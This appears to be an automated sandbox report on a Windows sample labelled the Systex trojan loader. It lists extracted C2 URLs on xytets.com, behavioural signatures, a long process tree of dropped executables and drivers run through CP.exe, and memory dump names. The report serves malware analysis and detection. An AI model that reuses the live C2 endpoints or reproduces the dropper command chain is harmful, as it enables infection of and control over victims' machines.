Analysis
- max time kernel
149s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
18/07/2026, 01:37
General
- Target 2026-07-17_e960c04c83e19d98ede97e2994fd5ac8_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260718-b2awkafy4z
- SHA256 fd9292ab60103b6528d1dc07e868d980c72e4b59b1428ea48c7a84f032206198
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 52 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 63 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-17_e960c04c83e19d98ede97e2994fd5ac8_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-17_e960c04c83e19d98ede97e2994fd5ac8_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3020 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2540 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\faxskidavs.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\faxskidavs.exeC:\Temp\faxskidavs.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_faxskidavs.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_faxskidavs.exeC:\Temp\i_faxskidavs.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pnhfzxspkh.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\pnhfzxspkh.exeC:\Temp\pnhfzxspkh.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pnhfzxspkh.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_pnhfzxspkh.exeC:\Temp\i_pnhfzxspkh.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xrpkhcamke.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\xrpkhcamke.exeC:\Temp\xrpkhcamke.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xrpkhcamke.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_xrpkhcamke.exeC:\Temp\i_xrpkhcamke.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bzusmkcwuo.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\bzusmkcwuo.exeC:\Temp\bzusmkcwuo.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bzusmkcwuo.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_bzusmkcwuo.exeC:\Temp\i_bzusmkcwuo.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rmgezwrpjh.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\rmgezwrpjh.exeC:\Temp\rmgezwrpjh.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rmgezwrpjh.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_rmgezwrpjh.exeC:\Temp\i_rmgezwrpjh.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ywqojgbztr.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ywqojgbztr.exeC:\Temp\ywqojgbztr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ywqojgbztr.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ywqojgbztr.exeC:\Temp\i_ywqojgbztr.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tgdyvqoiga.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\tgdyvqoiga.exeC:\Temp\tgdyvqoiga.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tgdyvqoiga.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_tgdyvqoiga.exeC:\Temp\i_tgdyvqoiga.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ywqoigbvtn.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ywqoigbvtn.exeC:\Temp\ywqoigbvtn.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ywqoigbvtn.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ywqoigbvtn.exeC:\Temp\i_ywqoigbvtn.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nigavtnlfd.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nigavtnlfd.exeC:\Temp\nigavtnlfd.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nigavtnlfd.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nigavtnlfd.exeC:\Temp\i_nigavtnlfd.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\causnkfdxv.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\causnkfdxv.exeC:\Temp\causnkfdxv.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_causnkfdxv.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_causnkfdxv.exeC:\Temp\i_causnkfdxv.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xspkhcausm.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\xspkhcausm.exeC:\Temp\xspkhcausm.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xspkhcausm.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_xspkhcausm.exeC:\Temp\i_xspkhcausm.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\smkecxupmh.exe ups_run2⤵
-
C:\Temp\smkecxupmh.exeC:\Temp\smkecxupmh.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_smkecxupmh.exe ups_ins2⤵
-
C:\Temp\i_smkecxupmh.exeC:\Temp\i_smkecxupmh.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kecwuomhez.exe ups_run2⤵
-
C:\Temp\kecwuomhez.exeC:\Temp\kecwuomhez.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kecwuomhez.exe ups_ins2⤵
-
C:\Temp\i_kecwuomhez.exeC:\Temp\i_kecwuomhez.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ztrljebwto.exe ups_run2⤵
-
C:\Temp\ztrljebwto.exeC:\Temp\ztrljebwto.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ztrljebwto.exe ups_ins2⤵
-
C:\Temp\i_ztrljebwto.exeC:\Temp\i_ztrljebwto.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\qljdbvtolg.exe ups_run2⤵
-
C:\Temp\qljdbvtolg.exeC:\Temp\qljdbvtolg.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_qljdbvtolg.exe ups_ins2⤵
-
C:\Temp\i_qljdbvtolg.exeC:\Temp\i_qljdbvtolg.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tqljdbvtnl.exe ups_run2⤵
-
C:\Temp\tqljdbvtnl.exeC:\Temp\tqljdbvtnl.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tqljdbvtnl.exe ups_ins2⤵
-
C:\Temp\i_tqljdbvtnl.exeC:\Temp\i_tqljdbvtnl.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\lfdxvqnifa.exe ups_run2⤵
-
C:\Temp\lfdxvqnifa.exeC:\Temp\lfdxvqnifa.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_lfdxvqnifa.exe ups_ins2⤵
-
C:\Temp\i_lfdxvqnifa.exeC:\Temp\i_lfdxvqnifa.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dxvpnhfaxs.exe ups_run2⤵
-
C:\Temp\dxvpnhfaxs.exeC:\Temp\dxvpnhfaxs.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dxvpnhfaxs.exe ups_ins2⤵
-
C:\Temp\i_dxvpnhfaxs.exeC:\Temp\i_dxvpnhfaxs.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pnhfzxrpkh.exe ups_run2⤵
-
C:\Temp\pnhfzxrpkh.exeC:\Temp\pnhfzxrpkh.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pnhfzxrpkh.exe ups_ins2⤵
-
C:\Temp\i_pnhfzxrpkh.exeC:\Temp\i_pnhfzxrpkh.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\mkecxupnhf.exe ups_run2⤵
-
C:\Temp\mkecxupnhf.exeC:\Temp\mkecxupnhf.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\Temp\ifaxsqkica.sysC:\Temp\ifaxsqkica.sys1⤵
- Executes dropped EXE
-
C:\Temp\kicausmkfc.sysC:\Temp\kicausmkfc.sys1⤵
- Executes dropped EXE
-
C:\Temp\mhezxrpjhc.sysC:\Temp\mhezxrpjhc.sys1⤵
- Executes dropped EXE
-
C:\Temp\ztrmjebwuo.sysC:\Temp\ztrmjebwuo.sys1⤵
- Executes dropped EXE
-
C:\Temp\rmjeuomgey.sysC:\Temp\rmjeuomgey.sys1⤵
- Executes dropped EXE
-
C:\Temp\dbwtomgeyw.sysC:\Temp\dbwtomgeyw.sys1⤵
- Executes dropped EXE
-
C:\Temp\lgaytqljdb.sysC:\Temp\lgaytqljdb.sys1⤵
- Executes dropped EXE
-
C:\Temp\vpnifaysqk.sysC:\Temp\vpnifaysqk.sys1⤵
- Executes dropped EXE
-
C:\Temp\nifaysqkic.sysC:\Temp\nifaysqkic.sys1⤵
- Executes dropped EXE
-
C:\Temp\nhfzxspkhc.sysC:\Temp\nhfzxspkhc.sys1⤵
- Executes dropped EXE
-
C:\Temp\zxrpjhczus.sysC:\Temp\zxrpjhczus.sys1⤵
-
C:\Temp\rpjhczurmk.sysC:\Temp\rpjhczurmk.sys1⤵
-
C:\Temp\geywrojhbz.sysC:\Temp\geywrojhbz.sys1⤵
-
C:\Temp\geywqojgbz.sysC:\Temp\geywqojgbz.sys1⤵
-
C:\Temp\dywqoigbyt.sysC:\Temp\dywqoigbyt.sys1⤵
-
C:\Temp\sqlidavtnl.sysC:\Temp\sqlidavtnl.sys1⤵
-
C:\Temp\nicavsnkfd.sysC:\Temp\nicavsnkfd.sys1⤵
-
C:\Temp\hcausnkfdx.sysC:\Temp\hcausnkfdx.sys1⤵
-
C:\Temp\xspkhcausm.sysC:\Temp\xspkhcausm.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
bzusmkcwuo.exe
dbwtomgeyw.sys
faxskidavs.exe
i_bzusmkcwuo.exe
i_faxskidavs.exe
i_pnhfzxspkh.exe
i_rmgezwrpjh.exe
i_tgdyvqoiga.exe
i_xrpkhcamke.exe
i_ywqojgbztr.exe
ifaxsqkica.sys
kicausmkfc.sys
lgaytqljdb.sys
mhezxrpjhc.sys
pnhfzxspkh.exe
rmgezwrpjh.exe
rmjeuomgey.sys
tgdyvqoiga.exe
xrpkhcamke.exe
ywqoigbvtn.exe
ywqojgbztr.exe
ztrmjebwuo.sys
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
RecoveryStore.{4D3585ED-8249-11F1-9F3C-56E9201B28D7}.dat
RecoveryStore.{4D37E9A3-8249-11F1-9F3C-56E9201B28D7}.dat
suggestions[1].en-US
memory/8-128-0x0000000000010000-0x0000000000083000-memory.dmp
memory/208-120-0x0000000000010000-0x0000000000083000-memory.dmp
memory/408-149-0x0000000000010000-0x0000000000083000-memory.dmp
memory/408-144-0x0000000000010000-0x0000000000083000-memory.dmp
memory/548-95-0x0000000000010000-0x0000000000083000-memory.dmp
memory/764-132-0x0000000000010000-0x0000000000083000-memory.dmp
memory/984-157-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1244-57-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1336-116-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2596-28-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2840-83-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2916-124-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3108-16-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3356-140-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3448-136-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3516-71-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4004-102-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4084-153-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4192-148-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4288-40-0x0000000000010000-0x0000000000083000-memory.dmp